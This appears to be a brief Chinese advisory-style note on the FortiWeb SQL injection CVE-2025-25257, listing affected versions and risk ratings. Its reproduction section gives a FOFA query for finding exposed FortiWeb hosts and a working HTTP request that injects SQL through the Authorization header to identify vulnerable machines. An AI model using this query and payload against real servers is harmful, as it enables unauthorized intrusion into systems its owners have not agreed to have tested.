

FortinetFortiWeb-CVE-2025-25257-sql注入导致RCE

FortinetFortiWeb-CVE-2025-25257-sql注入导致RCE，攻击者可执行任意命令导致服务器被控。

影响版本

7.6.0 <= FortiWeb <= 7.6.3

7.4.0 <= FortiWeb <= 7.4.7

7.2.0 <= FortiWeb <= 7.2.10

7.0.0 <= FortiWeb <= 7.0.10

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="FORTINET-FortiWeb" || app="FortiWeb"

POC/EXP：正常来说版本匹配且回显401且存在nonce在响应头中的都是存在漏洞的机器

```
GET /api/fabric/device/status HTTP/1.1
Host: 127.0.0.1
Authorization: Bearer 123'/**/or/**/'x'='x
Connection: close
User-Agent: python-requests/2.X
Accept-Encoding: gzip, deflate
Accept: */*
```

